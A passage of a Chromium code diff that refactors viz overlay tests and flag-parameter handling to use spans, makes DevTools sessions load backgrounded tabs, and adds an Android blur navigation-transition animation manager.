   pass_list.push_back(std::move(pass));
   SurfaceDamageRectList surface_damage_rect_list;
 
-  std::optional<OverlayCandidate> output_surface_plane =
-      overlay_processor_->ProcessOutputSurfaceAsOverlay(
-          kDisplaySize, kDisplaySize, kDefaultSIFormat, gfx::ColorSpace(),
-          false /* has_alpha */, 1.0f /* opacity */, gpu::Mailbox());
-
   overlay_processor_->ProcessForOverlays(
       resource_provider(), &pass_list, GetIdentityColorMatrix(),
-      std::move(surface_damage_rect_list), output_surface_plane,
+      std::move(surface_damage_rect_list), GetDefaultPrimaryPlane(),
       &candidate_list, &damage_rect_, &content_bounds_);
 
   ASSERT_EQ(1U, test::NumOverlaysExcludingPrimaryPlane(candidate_list));
@@ -4238,8 +4238,8 @@
 
   overlay_processor_->ProcessForOverlays(
       resource_provider(), &pass_list, GetIdentityColorMatrix(),
-      std::move(surface_damage_rect_list), primary_plane_, &candidate_list,
-      &damage_rect_, &content_bounds_);
+      std::move(surface_damage_rect_list), GetDefaultPrimaryPlane(),
+      &candidate_list, &damage_rect_, &content_bounds_);
   ASSERT_EQ(1U, pass_list.size());
   ASSERT_EQ(1U, pass_list.front()->quad_list.size());
   EXPECT_EQ(SkColors::kTransparent, static_cast<SolidColorDrawQuad*>(
@@ -4264,8 +4264,8 @@
 
   overlay_processor_->ProcessForOverlays(
       resource_provider(), &pass_list, GetIdentityColorMatrix(),
-      std::move(surface_damage_rect_list), primary_plane_, &candidate_list,
-      &damage_rect_, &content_bounds_);
+      std::move(surface_damage_rect_list), GetDefaultPrimaryPlane(),
+      &candidate_list, &damage_rect_, &content_bounds_);
   EXPECT_EQ(0U, content_bounds_.size());
 }
 
@@ -4281,8 +4281,8 @@
 
   overlay_processor_->ProcessForOverlays(
       resource_provider(), &pass_list, GetIdentityColorMatrix(),
-      std::move(surface_damage_rect_list), primary_plane_, &candidate_list,
-      &damage_rect_, &content_bounds_);
+      std::move(surface_damage_rect_list), GetDefaultPrimaryPlane(),
+      &candidate_list, &damage_rect_, &content_bounds_);
 
   EXPECT_EQ(1U, content_bounds_.size());
   EXPECT_TRUE(content_bounds_[0].IsEmpty());
@@ -4309,8 +4309,8 @@
 
   overlay_processor_->ProcessForOverlays(
       resource_provider(), &pass_list, GetIdentityColorMatrix(),
-      std::move(surface_damage_rect_list), primary_plane_, &candidate_list,
-      &damage_rect_, &content_bounds_);
+      std::move(surface_damage_rect_list), GetDefaultPrimaryPlane(),
+      &candidate_list, &damage_rect_, &content_bounds_);
 
   EXPECT_EQ(1U, content_bounds_.size());
   EXPECT_TRUE(content_bounds_[0].IsEmpty());
@@ -4330,8 +4330,8 @@
 
   overlay_processor_->ProcessForOverlays(
       resource_provider(), &pass_list, GetIdentityColorMatrix(),
-      std::move(surface_damage_rect_list), primary_plane_, &candidate_list,
-      &damage_rect_, &content_bounds_);
+      std::move(surface_damage_rect_list), GetDefaultPrimaryPlane(),
+      &candidate_list, &damage_rect_, &content_bounds_);
 
   EXPECT_EQ(1U, content_bounds_.size());
   EXPECT_EQ(kOverlayTopLeftRect, content_bounds_[0]);
@@ -4353,8 +4353,8 @@
 
   overlay_processor_->ProcessForOverlays(
       resource_provider(), &pass_list, GetIdentityColorMatrix(),
-      std::move(surface_damage_rect_list), primary_plane_, &candidate_list,
-      &damage_rect_, &content_bounds_);
+      std::move(surface_damage_rect_list), GetDefaultPrimaryPlane(),
+      &candidate_list, &damage_rect_, &content_bounds_);
 
   EXPECT_EQ(1U, content_bounds_.size());
   EXPECT_EQ(kOverlayRect, content_bounds_[0]);
@@ -4382,8 +4382,8 @@
 
   overlay_processor_->ProcessForOverlays(
       resource_provider(), &pass_list, GetIdentityColorMatrix(),
-      std::move(surface_damage_rect_list), primary_plane_, &candidate_list,
-      &damage_rect_, &content_bounds_);
+      std::move(surface_damage_rect_list), GetDefaultPrimaryPlane(),
+      &candidate_list, &damage_rect_, &content_bounds_);
 
   EXPECT_EQ(1U, content_bounds_.size());
   EXPECT_EQ(gfx::Rect(0, 0, 11, 11), content_bounds_[0]);
@@ -4412,8 +4412,8 @@
 
   overlay_processor_->ProcessForOverlays(
       resource_provider(), &pass_list, GetIdentityColorMatrix(),
-      std::move(surface_damage_rect_list), primary_plane_, &candidate_list,
-      &damage_rect_, &content_bounds_);
+      std::move(surface_damage_rect_list), GetDefaultPrimaryPlane(),
+      &candidate_list, &damage_rect_, &content_bounds_);
 
   EXPECT_EQ(1U, content_bounds_.size());
   EXPECT_EQ(kOverlayRect, content_bounds_[0]);
@@ -4431,8 +4431,8 @@
 
   overlay_processor_->ProcessForOverlays(
       resource_provider(), &pass_list, GetIdentityColorMatrix(),
-      std::move(surface_damage_rect_list), primary_plane_, &candidate_list,
-      &damage_rect_, &content_bounds_);
+      std::move(surface_damage_rect_list), GetDefaultPrimaryPlane(),
+      &candidate_list, &damage_rect_, &content_bounds_);
 
   ASSERT_TRUE(candidate_list.empty());
   EXPECT_TRUE(content_bounds_.empty());
@@ -4456,8 +4456,8 @@
 
   overlay_processor_->ProcessForOverlays(
       resource_provider(), &pass_list, GetIdentityColorMatrix(),
-      std::move(surface_damage_rect_list), primary_plane_, &candidate_list,
-      &damage_rect_, &content_bounds_);
+      std::move(surface_damage_rect_list), GetDefaultPrimaryPlane(),
+      &candidate_list, &damage_rect_, &content_bounds_);
 
   ASSERT_EQ(1U, content_bounds_.size());
   EXPECT_TRUE(content_bounds_.front().IsEmpty());
@@ -4487,15 +4487,11 @@
 
   AggregatedRenderPassList pass_list;
   pass_list.push_back(std::move(pass));
-  std::optional<OverlayCandidate> output_surface_plane =
-      overlay_processor_->ProcessOutputSurfaceAsOverlay(
-          kDisplaySize, kDisplaySize, kDefaultSIFormat, gfx::ColorSpace(),
-          false /* has_alpha */, 1.0f /* opacity */, gpu::Mailbox());
 
   SurfaceDamageRectList surface_damage_rect_list;
   overlay_processor_->ProcessForOverlays(
       resource_provider(), &pass_list, GetIdentityColorMatrix(),
-      std::move(surface_damage_rect_list), output_surface_plane,
+      std::move(surface_damage_rect_list), GetDefaultPrimaryPlane(),
       &candidate_list, &damage_rect_, &content_bounds_);
 
   EXPECT_EQ(0U, content_bounds_.size());
@@ -4826,10 +4822,6 @@
   SurfaceDamageRectList surface_damage_rect_list;
 
   render_pass_list.push_back(std::move(root_pass));
-  std::optional<OverlayCandidate> output_surface_plane =
-      overlay_processor_->ProcessOutputSurfaceAsOverlay(
-          kDisplaySize, kDisplaySize, kDefaultSIFormat, gfx::ColorSpace(),
-          false /* has_alpha */, 1.0f /* opacity */, gpu::Mailbox());
 
   // Choose 5 here for testing purpose, this value will not change
   constexpr int kDisableOverlayTestVectorSize =
@@ -4868,7 +4860,7 @@
     OverlayCandidateList candidate_list;
     overlay_processor_->ProcessForOverlays(
         resource_provider(), &render_pass_list, GetIdentityColorMatrix(),
-        surface_damage_rect_list, output_surface_plane, &candidate_list,
+        surface_damage_rect_list, GetDefaultPrimaryPlane(), &candidate_list,
         &damage_rect_, &content_bounds_);
 
     EXPECT_EQ(expected_overlays[i],
@@ -6409,14 +6401,10 @@
   OverlayCandidateList candidate_list;
   AggregatedRenderPassList pass_list;
   pass_list.push_back(std::move(pass));
-  std::optional<OverlayCandidate> output_surface_plane =
-      overlay_processor_->ProcessOutputSurfaceAsOverlay(
-          kDisplaySize, kDisplaySize, kDefaultSIFormat, gfx::ColorSpace(),
-          false /* has_alpha */, 1.0f /* opacity */, gpu::Mailbox());
 
   overlay_processor_->ProcessForOverlays(
       resource_provider(), &pass_list, GetIdentityColorMatrix(),
-      std::move(surface_damage_rect_list), output_surface_plane,
+      std::move(surface_damage_rect_list), GetDefaultPrimaryPlane(),
       &candidate_list, &damage_rect_, &content_bounds_);
 
   if (promoted) {
diff --git a/components/viz/service/display/skia_renderer.cc b/components/viz/service/display/skia_renderer.cc
index 9388bbe59..971902e 100644
--- a/components/viz/service/display/skia_renderer.cc
+++ b/components/viz/service/display/skia_renderer.cc
@@ -4250,11 +4250,8 @@
   buffer_queue_->EnsureMinNumberOfBuffers(n);
 }
 
+#if BUILDFLAG(IS_OZONE)
 gpu::Mailbox SkiaRenderer::GetPrimaryPlaneOverlayTestingMailbox() {
-#if BUILDFLAG(IS_WIN)
-  // Windows dcomp uses a swap chain for primary plane instead of BufferQueue.
-  return gpu::Mailbox();
-#else
   // For the purpose of testing the overlay configuration, the mailbox for ANY
   // buffer from BufferQueue is good enough because they're all created with
   // identical properties.
@@ -4264,11 +4261,8 @@
   // previous frame's mailbox.)
   CHECK(buffer_queue_);
   return buffer_queue_->GetLastSwappedBuffer();
-#endif
 }
 
-#if BUILDFLAG(IS_OZONE)
-
 DBG_FLAG_FBOOL("delegated.overlay.background_candidate.colored",
                toggle_background_overlay_color)  // False by default.
 
diff --git a/components/viz/service/display/skia_renderer.h b/components/viz/service/display/skia_renderer.h
index 50f159c..c66201d 100644
--- a/components/viz/service/display/skia_renderer.h
+++ b/components/viz/service/display/skia_renderer.h
@@ -73,7 +73,9 @@
   gfx::Rect GetCurrentFramebufferDamage() const override;
   void Reshape(const OutputSurface::ReshapeParams& reshape_params) override;
   void EnsureMinNumberOfBuffers(int n) override;
+#if BUILDFLAG(IS_OZONE)
   gpu::Mailbox GetPrimaryPlaneOverlayTestingMailbox() override;
+#endif
 
  protected:
   bool CanPartialSwap() override;
diff --git a/components/webui/flags/feature_entry.h b/components/webui/flags/feature_entry.h
index e1c0bda..e47f81c 100644
--- a/components/webui/flags/feature_entry.h
+++ b/components/webui/flags/feature_entry.h
@@ -148,11 +148,10 @@
     // get translated. The other parts here use ids for historical reasons and
     // can realistically also be moved to direct description_texts.
     const char* description_text;
-    // This is not a raw_ptr because every instance of FeatureParam is
+    // This is not a raw_span because every instance of FeatureParam is
     // statically-allocated at namespace scope, so pointers to them can never
     // dangle.
-    RAW_PTR_EXCLUSION const FeatureParam* params;
-    int num_params;
+    RAW_PTR_EXCLUSION base::span<const FeatureParam> params;
     // A variation id number in the format of
     // VariationsIdsProvider::ForceVariationIds() or nullptr if you do
     // not need to set any variation_id for this feature variation.
diff --git a/components/webui/flags/flags_state.cc b/components/webui/flags/flags_state.cc
index e4aa1ee..cc014a65 100644
--- a/components/webui/flags/flags_state.cc
+++ b/components/webui/flags/flags_state.cc
@@ -630,14 +630,12 @@
 
           // The selected variation is non-default, collect its params & id.
 
-          for (int i = 0; i < variation->num_params; ++i) {
+          for (const auto& param : variation->params) {
             auto insert_result = params_by_trial_name[trial_name].insert(
-                std::make_pair(UNSAFE_TODO(variation->params[i]).param_name,
-                               UNSAFE_TODO(variation->params[i]).param_value));
+                std::make_pair(param.param_name, param.param_value));
             DCHECK(insert_result.second)
                 << "Multiple values for the same parameter '"
-                << UNSAFE_TODO(variation->params[i]).param_name
-                << "' are specified in chrome://flags!";
+                << param.param_name << "' are specified in chrome://flags!";
           }
           if (variation->variation_id) {
             variation_ids.push_back(variation->variation_id);
@@ -1067,11 +1065,11 @@
             std::string variation_id;
             if (variation) {
               feature_name.append(":");
-              for (int i = 0; i < variation->num_params; ++i) {
-                std::string param_name = variations::EscapeValue(
-                    UNSAFE_TODO(variation->params[i]).param_name);
-                std::string param_value = variations::EscapeValue(
-                    UNSAFE_TODO(variation->params[i]).param_value);
+              for (const auto& param : variation->params) {
+                std::string param_name =
+                    variations::EscapeValue(param.param_name);
+                std::string param_value =
+                    variations::EscapeValue(param.param_value);
                 params_value.push_back(
                     param_name.append("/").append(param_value));
               }
@@ -1171,9 +1169,7 @@
           // feature_name is mapped to an empty map in feature_params.
           continue;
         }
-        for (int i = 0; i < feature_variations->num_params; i++) {
-          FeatureEntry::FeatureParam feature_param =
-              UNSAFE_TODO(feature_variations->params[i]);
+        for (const auto& feature_param : feature_variations->params) {
           std::string param_name = std::string(feature_param.param_name);
           std::string param_value = std::string(feature_param.param_value);
           cur_feature_params[param_name] = param_value;
diff --git a/components/webui/flags/flags_state_unittest.cc b/components/webui/flags/flags_state_unittest.cc
index a25b6a4..da09c32 100644
--- a/components/webui/flags/flags_state_unittest.cc
+++ b/components/webui/flags/flags_state_unittest.cc
@@ -93,13 +93,13 @@
 };
 
 const FeatureEntry::FeatureVariation kTestVariations1[] = {
-    {"dummy description 1", kTestVariationOther1, 1, nullptr}};
+    {"dummy description 1", kTestVariationOther1, nullptr}};
 const FeatureEntry::FeatureVariation kTestVariations2[] = {
-    {"dummy description 2", kTestVariationOther2, 1, nullptr}};
+    {"dummy description 2", kTestVariationOther2, nullptr}};
 const FeatureEntry::FeatureVariation kTestVariations3[] = {
-    {"dummy description 1", kTestVariationOther1, 1, nullptr},
-    {"dummy description 2", kTestVariationOther2, 1, nullptr},
-    {"dummy description 3", kTestVariationOther3, 2, "t123456"}};
+    {"dummy description 1", kTestVariationOther1, nullptr},
+    {"dummy description 2", kTestVariationOther2, nullptr},
+    {"dummy description 3", kTestVariationOther3, "t123456"}};
 
 const char kTestVariation3Cmdline[] =
     "FeatureName3:param1/value/param%3A%2F3/value";
diff --git a/content/browser/BUILD.gn b/content/browser/BUILD.gn
index 6a1fe912..8d87849 100644
--- a/content/browser/BUILD.gn
+++ b/content/browser/BUILD.gn
@@ -3362,6 +3362,8 @@
       "navigation_transitions/back_forward_transition_animation_manager_android.h",
       "navigation_transitions/back_forward_transition_animator.cc",
       "navigation_transitions/back_forward_transition_animator.h",
+      "navigation_transitions/blur_transition_animation_manager.cc",
+      "navigation_transitions/blur_transition_animation_manager.h",
       "navigation_transitions/physics_model.cc",
       "navigation_transitions/physics_model.h",
       "navigation_transitions/progress_bar.cc",
diff --git a/content/browser/devtools/web_contents_devtools_agent_host.cc b/content/browser/devtools/web_contents_devtools_agent_host.cc
index 4f38ef1..ed8ff6b 100644
--- a/content/browser/devtools/web_contents_devtools_agent_host.cc
+++ b/content/browser/devtools/web_contents_devtools_agent_host.cc
@@ -193,7 +193,7 @@
   auto_attacher_->SetWebContents(nullptr);
   GetAgentHostInstances().erase(web_contents());
   Observe(nullptr);
-  // We may or may not be destruced here, depending on embedders
+  // We may or may not be destructed here, depending on embedders
   // potentially retaining references.
   Release();
 }
@@ -384,10 +384,18 @@
 }
 
 bool WebContentsDevToolsAgentHost::AttachSession(DevToolsSession* session) {
-  if (web_contents() && !RenderFrameDevToolsAgentHost::ShouldAllowSession(
-                            web_contents()->GetPrimaryMainFrame(), session)) {
+  auto* wc = web_contents();
+  if (wc && !RenderFrameDevToolsAgentHost::ShouldAllowSession(
+                wc->GetPrimaryMainFrame(), session)) {
     return false;
   }
+  // Force WebContents to render if it does not have a live renderer.
+  // This is a sign that the page is backgrounded and unloaded
+  // from memory usually when re-opening a saved browser session.
+  if (wc && !wc->GetPrimaryMainFrame()->IsRenderFrameLive()) {
+    wc->GetController().LoadIfNecessary();
+  }
+
   session->SetBrowserOnly(true);
   const bool may_attach_to_browser = session->GetClient()->IsTrusted();
   session->CreateAndAddHandler<protocol::TargetHandler>(
diff --git a/content/browser/navigation_transitions/blur_transition_animation_manager.cc b/content/browser/navigation_transitions/blur_transition_animation_manager.cc
new file mode 100644
index 0000000..73e0f8b
--- /dev/null
+++ b/content/browser/navigation_transitions/blur_transition_animation_manager.cc
@@ -0,0 +1,396 @@
+// Copyright 2026 The Chromium Authors
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#include "content/browser/navigation_transitions/blur_transition_animation_manager.h"
+
+#include <algorithm>
+
+#include "base/logging.h"
+#include "base/metrics/histogram_functions.h"
+#include "cc/slim/filter.h"
+#include "cc/slim/layer.h"
+#include "cc/slim/surface_layer.h"
+#include "content/browser/renderer_host/render_widget_host_view_android.h"
+#include "content/browser/renderer_host/render_widget_host_view_base.h"
+#include "content/browser/web_contents/web_contents_impl.h"
+#include "content/browser/web_contents/web_contents_view.h"
+#include "content/browser/web_contents/web_contents_view_android.h"
+#include "content/public/browser/back_forward_transition_animation_manager.h"
+#include "content/public/browser/render_widget_host_view.h"
+#include "content/public/browser/web_contents.h"
+#include "ui/android/view_android.h"
+#include "ui/android/window_android.h"
+#include "ui/gfx/animation/tween.h"
+#include "ui/gfx/geometry/size.h"
+#include "url/origin.h"
+
+namespace content {
+
+namespace {
+constexpr base::TimeDelta kBlurFadeInDuration = base::Milliseconds(100);
+constexpr base::TimeDelta kBlurFadeOutDuration = base::Milliseconds(200);
+constexpr float kBlurSigma = 12.0f;
+
+class WebContentsViewAndroidDelegateImpl
+    : public BlurTransitionAnimationManager::WebContentsViewAndroidDelegate {
+ public:
+  explicit WebContentsViewAndroidDelegateImpl(WebContentsImpl* web_contents)
+      : web_contents_(web_contents) {}
+  ~WebContentsViewAndroidDelegateImpl() override = default;
+
+  // WebContentsViewAndroidDelegate:
+  bool ShouldShowBlurTransitionAnimation(
+      NavigationHandle* navigation_handle) override {
+    if (auto* view = GetView()) {
+      return view->ShouldShowBlurTransitionAnimation(navigation_handle);
+    }
+    return false;
+  }
+
+  BackForwardTransitionAnimationManager*
+  GetBackForwardTransitionAnimationManager() override {
+    if (auto* view = GetView()) {
+      return view->GetBackForwardTransitionAnimationManager();
+    }
+    return nullptr;
+  }
+
+  gfx::NativeView GetNativeView() override {
+    if (auto* view = GetView()) {
+      return view->GetNativeView();
+    }
+    return gfx::NativeView();
+  }
+
+  ui::WindowAndroid* GetWindowAndroid() override {
+    if (auto* view = GetView()) {
+      return view->GetTopLevelNativeWindow();
+    }
+    return nullptr;
+  }
+
+  viz::SurfaceId GetCurrentSurfaceId() override {
+    if (!web_contents_) {
+      return viz::SurfaceId();
+    }
+    auto* rwhv = static_cast<RenderWidgetHostViewAndroid*>(
+        web_contents_->GetRenderWidgetHostView());
+    if (!rwhv) {
+      return viz::SurfaceId();
+    }
+    return rwhv->GetCurrentSurfaceId();
+  }
+
+ private:
+  WebContentsViewAndroid* GetView() const {
+    if (!web_contents_) {
+      return nullptr;
+    }
+    return reinterpret_cast<WebContentsViewAndroid*>(web_contents_->GetView());
+  }
+
+  raw_ptr<WebContentsImpl> web_contents_;
+};
+
+}  // namespace
+
+// static
+void BlurTransitionAnimationManager::CreateForWebContents(
+    WebContents* web_contents) {
+  if (FromWebContents(web_contents)) {
+    return;
+  }
+  web_contents->SetUserData(
+      UserDataKey(),
+      base::WrapUnique(new BlurTransitionAnimationManager(web_contents)));
+}
+
+// static
+BlurTransitionAnimationManager* BlurTransitionAnimationManager::FromWebContents(
+    WebContents* web_contents) {
+  return static_cast<BlurTransitionAnimationManager*>(
+      web_contents->GetUserData(UserDataKey()));
+}
+
+// static
+const void* BlurTransitionAnimationManager::UserDataKey() {
+  static const int kUserDataKey = 0;
+  return &kUserDataKey;
+}
+
+BlurTransitionAnimationManager::BlurTransitionAnimationManager(
+    WebContents* web_contents)
+    : WebContentsObserver(web_contents) {}
+
+BlurTransitionAnimationManager::~BlurTransitionAnimationManager() {
+  StopFadeInAnimation(TransitionExitReason::kRenderProcessGone,
+                      /*should_animate_out=*/false);
+  UnregisterWindowObserver();
+}
+
+BlurTransitionAnimationManager::WebContentsViewAndroidDelegate*
+BlurTransitionAnimationManager::GetWebContentsViewAndroidDelegate() {
+  if (!web_contents_view_android_delegate_) {
+    web_contents_view_android_delegate_ =
+        std::make_unique<WebContentsViewAndroidDelegateImpl>(
+            static_cast<WebContentsImpl*>(web_contents()));
+  }
+  return web_contents_view_android_delegate_.get();
+}
+
+void BlurTransitionAnimationManager::ReadyToCommitNavigation(
+    NavigationHandle* navigation_handle) {
+  if (!navigation_handle->IsInPrimaryMainFrame()) {
+    return;
+  }
+
+  // If there's an existing animation from a previous navigation, stop it
+  // regardless of whether the new navigation will show one. This prevents
+  // stale blur layers from persisting.
+  StopFadeInAnimation(TransitionExitReason::kNavigationInterrupted,
+                      /*should_animate_out=*/false);
+
+  // Do not apply to page refreshes or same page navigations.
+  // We also exclude back-forward cache navigations because they are typically
+  // near-instant, and adding a transition animation could interfere with the
+  // user's perception of that immediate feedback.
+  if (navigation_handle->IsSameDocument() ||
+      navigation_handle->IsServedFromBackForwardCache()) {
+    return;
+  }
+
+  auto* delegate = GetWebContentsViewAndroidDelegate();
+  if (!delegate) {
+    return;
+  }
+
+  // If a native back/forward gesture animation is active, we should not
+  // interfere with it.
+  auto* animation_manager =
+      delegate->GetBackForwardTransitionAnimationManager();
+  if (animation_manager &&
+      animation_manager->GetCurrentAnimationStage() !=
+          BackForwardTransitionAnimationManager::AnimationStage::kNone) {
+    return;
+  }
+
+  bool should_show_animation =
+      delegate->ShouldShowBlurTransitionAnimation(navigation_handle);
+
+  if (!should_show_animation) {
+    return;
+  }
+
+  const viz::SurfaceId& surface_id = delegate->GetCurrentSurfaceId();
+  if (!surface_id.is_valid()) {
+    return;
+  }
+
+  auto* native_view = delegate->GetNativeView();
+  if (!native_view) {
+    return;
+  }
+
+  navigation_id_ = navigation_handle->GetNavigationId();
+
+  blur_layer_ = cc::slim::SurfaceLayer::Create();
+  blur_layer_->SetIsDrawable(true);
+  blur_layer_->SetSurfaceId(surface_id,
+                            cc::DeadlinePolicy::UseSpecifiedDeadline(0));
+  blur_layer_->SetStretchContentToFillBounds(true);
+  blur_layer_->SetBounds(native_view->GetPhysicalBackingSize());
+  blur_layer_->SetFilters(
+      {cc::slim::Filter::CreateBlur(kBlurSigma, SkTileMode::kClamp)});
+
+  // Start with 0 opacity for fade-in.
+  blur_layer_->SetOpacity(0.0f);
+
+  animation_state_ = AnimationState::kFadeIn;
+  is_first_frame_of_animation_ = true;
+  initial_animation_offset_ = base::TimeDelta();
+  RegisterWindowObserver();
+
+  ShowBlurTransitionLayer(blur_layer_);
+
+  if (auto* window = delegate->GetWindowAndroid()) {
+    window->SetNeedsAnimate();
+  }
+}
+
+void BlurTransitionAnimationManager::DidFinishNavigation(
+    NavigationHandle* navigation_handle) {
+  // If the navigation that just finished is the one we started a blur
+  // transition for, and it did not commit, we must hide the blur layer.
+  if (navigation_handle->GetNavigationId() == navigation_id_ &&
+      (!navigation_handle->HasCommitted())) {
+    StopFadeInAnimation(TransitionExitReason::kNavigationInterrupted,
+                        /*should_animate_out=*/true);
+  }
+}
+
+void BlurTransitionAnimationManager::DidFirstVisuallyNonEmptyPaint() {
+  StopFadeInAnimation(TransitionExitReason::kFinished,
+                      /*should_animate_out=*/true);
+}
+
+void BlurTransitionAnimationManager::PrimaryMainFrameRenderProcessGone(
+    base::TerminationStatus status) {
+  StopFadeInAnimation(TransitionExitReason::kRenderProcessGone,
+                      /*should_animate_out=*/false);
+}
+
+void BlurTransitionAnimationManager::StopFadeInAnimation(
+    TransitionExitReason exit_reason,
+    bool should_animate_out) {
+  // `navigation_id_` is reset only here. If it is non-zero, it means an
+  // animation was running and we haven't recorded the exit reason yet.
+  if (navigation_id_ != 0) {
+    RecordExitReason(exit_reason);
+    navigation_id_ = 0;
+  }
+
+  if (!blur_layer_) {
+    return;
+  }
+
+  // If we are already fading out, we only interrupt if we need to force stop.
+  if (should_animate_out && animation_state_ != AnimationState::kFadeOut) {
+    StartFadeOut();
+  } else if (!should_animate_out) {
+    DestroyLayer();
+  }
+}
+
+void BlurTransitionAnimationManager::StartFadeOut() {
+  float current_opacity = blur_layer_->opacity();
+  // Calculate the equivalent elapsed time to start the fade-out from the
+  // current opacity. This ensures that if the fade-in was interrupted
+  // mid-way, the fade-out begins seamlessly from that same opacity.
+  initial_animation_offset_ = (1.0f - current_opacity) * kBlurFadeOutDuration;
+
+  animation_state_ = AnimationState::kFadeOut;
+  is_first_frame_of_animation_ = true;
+
+  RegisterWindowObserver();
+
+  if (auto* delegate = GetWebContentsViewAndroidDelegate()) {
+    if (auto* window = delegate->GetWindowAndroid()) {
+      window->SetNeedsAnimate();
+    }
+  }
+}
+
+void BlurTransitionAnimationManager::OnAnimate(
+    base::TimeTicks frame_begin_time) {
+  if (animation_state_ == AnimationState::kNone || !blur_layer_) {
+    UnregisterWindowObserver();
+    return;
+  }
+
+  if (is_first_frame_of_animation_) {
+    animation_start_time_ = frame_begin_time - initial_animation_offset_;
+    is_first_frame_of_animation_ = false;
+  }
+
+  base::TimeDelta elapsed = frame_begin_time - animation_start_time_;
+  float progress = 0.0f;
+  float opacity = 0.0f;
+
+  if (animation_state_ == AnimationState::kFadeOut) {
+    progress = std::clamp(elapsed / kBlurFadeOutDuration, 0.0, 1.0);
+    // Fade out: 1.0 -> 0.0
+    opacity = 1.0f - gfx::Tween::CalculateValue(gfx::Tween::EASE_IN, progress);
+  } else if (animation_state_ == AnimationState::kFadeIn) {
+    progress = std::clamp(elapsed / kBlurFadeInDuration, 0.0, 1.0);
+    // Fade in: 0.0 -> 1.0
+    opacity = gfx::Tween::CalculateValue(gfx::Tween::EASE_OUT, progress);
+  }
+
+  blur_layer_->SetOpacity(opacity);
+
+  if (progress >= 1.0f) {
+    if (animation_state_ == AnimationState::kFadeOut) {
+      DestroyLayer();
+    } else {
+      // Fade in complete.
+      animation_state_ = AnimationState::kNone;
+      UnregisterWindowObserver();
+    }
+  } else {
+    if (auto* delegate = GetWebContentsViewAndroidDelegate()) {
+      if (auto* window = delegate->GetWindowAndroid()) {
+        window->SetNeedsAnimate();
+      }
+    }
+  }
+}
+
+void BlurTransitionAnimationManager::RegisterWindowObserver() {
+  if (is_window_observer_registered_) {
+    return;
+  }
+  if (auto* delegate = GetWebContentsViewAndroidDelegate()) {
+    if (auto* native_view = delegate->GetNativeView()) {
+      if (auto* window = native_view->GetWindowAndroid()) {
+        window->AddObserver(this);
+        is_window_observer_registered_ = true;
+      }
+    }
+  }
+}
+
+void BlurTransitionAnimationManager::UnregisterWindowObserver() {
+  if (!is_window_observer_registered_) {
+    return;
+  }
+  if (auto* delegate = GetWebContentsViewAndroidDelegate()) {
+    if (auto* native_view = delegate->GetNativeView()) {
+      if (auto* window = native_view->GetWindowAndroid()) {
+        window->RemoveObserver(this);
+      }
+    }
+  }
+  is_window_observer_registered_ = false;
+}
+
+void BlurTransitionAnimationManager::RecordExitReason(
+    TransitionExitReason exit_reason) {
+  base::UmaHistogramEnumeration("Navigation.BlurTransitionAnimation.ExitReason",
+                                exit_reason);
+  last_exit_reason_ = exit_reason;
+}
+
+void BlurTransitionAnimationManager::ShowBlurTransitionLayer(
+    scoped_refptr<cc::slim::Layer> layer) {
+  auto* delegate = GetWebContentsViewAndroidDelegate();
+  if (!delegate) {
+    return;
+  }
+  auto native_view = delegate->GetNativeView();
+  if (!native_view) {
+    return;
+  }
+  if (auto* layer_tree = native_view->GetLayer()) {
+    layer_tree->AddChild(std::move(layer));
+  }
+}
+
+void BlurTransitionAnimationManager::HideBlurTransitionLayer() {
+  if (blur_layer_ && blur_layer_->parent()) {
+    blur_layer_->RemoveFromParent();
+  }
+}
+
+void BlurTransitionAnimationManager::DestroyLayer() {
+  HideBlurTransitionLayer();
+  // Releasing the layer here drops the reference to the viz::SurfaceId,
+  // allowing the old page's pixel buffers to be garbage collected.
+  blur_layer_.reset();
+  if (animation_state_ != AnimationState::kNone) {
+    animation_state_ = AnimationState::kNone;
+    UnregisterWindowObserver();
+  }
+}
+
+}  // namespace content
diff --git a/content/browser/navigation_transitions/blur_transition_animation_manager.h b/content/browser/navigation_transitions/blur_transition_animation_manager.h
new file mode 100644
index 0000000..57ec328
--- /dev/null
+++ b/content/browser/navigation_transitions/blur_transition_animation_manager.h
@@ -0,0 +1,171 @@
+// Copyright 2026 The Chromium Authors
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#ifndef CONTENT_BROWSER_NAVIGATION_TRANSITIONS_BLUR_TRANSITION_ANIMATION_MANAGER_H_
+#define CONTENT_BROWSER_NAVIGATION_TRANSITIONS_BLUR_TRANSITION_ANIMATION_MANAGER_H_
+
+#include <string>
+
+#include "base/memory/raw_ptr.h"
+#include "base/memory/scoped_refptr.h"
+#include "base/time/time.h"
+#include "base/types/expected.h"
+#include "cc/slim/surface_layer.h"
+#include "components/viz/common/surfaces/surface_id.h"
+#include "content/common/content_export.h"
+#include "content/public/browser/navigation_handle.h"
+#include "content/public/browser/render_widget_host_view.h"
+#include "content/public/browser/web_contents_observer.h"
+#include "content/public/browser/web_contents_user_data.h"
+#include "ui/android/window_android_observer.h"
+#include "ui/gfx/native_ui_types.h"
+
+namespace ui {
+class WindowAndroid;
+}  // namespace ui
+
+namespace cc::slim {
+class Layer;
+}  // namespace cc::slim
+
+namespace content {
+
+class BackForwardTransitionAnimationManager;
+class WebContents;
+class WebContentsViewAndroid;
+
+/**
+ * Manages a navigation blur transition on Android by overlaying a blurred
+ * reference to the previous page's live surface during a load.
+ *
+ * 1. ReadyToCommitNavigation: References the previous page's live surface
+ *    (SurfaceId), applies a blur, and starts a "Fade In" (0% -> 100% opacity).
+ * 2. DidFirstVisuallyNonEmptyPaint: Starts a "Fade Out" (100% -> 0% opacity)
+ *    to reveal the new page once it's content is ready.
+ */
+class CONTENT_EXPORT BlurTransitionAnimationManager
+    : public WebContentsObserver,
+      public base::SupportsUserData::Data,
+      public ui::WindowAndroidObserver {
+ public:
+  // Interface to delegate the Android-specific view operations.
+  // This decoupling allows tests to mock these operations without needing
+  // to link against the internal WebContentsViewAndroid class.
+  class WebContentsViewAndroidDelegate {
+   public:
+    virtual ~WebContentsViewAndroidDelegate() = default;
+    virtual bool ShouldShowBlurTransitionAnimation(
+        NavigationHandle* navigation_handle) = 0;
+    virtual BackForwardTransitionAnimationManager*
+    GetBackForwardTransitionAnimationManager() = 0;
+    virtual gfx::NativeView GetNativeView() = 0;
+    virtual ui::WindowAndroid* GetWindowAndroid() = 0;
+    virtual viz::SurfaceId GetCurrentSurfaceId() = 0;
+  };
+
+  ~BlurTransitionAnimationManager() override;
+
+  static void CreateForWebContents(WebContents* web_contents);
+  static BlurTransitionAnimationManager* FromWebContents(
+      WebContents* web_contents);
+
+  // WebContentsObserver:
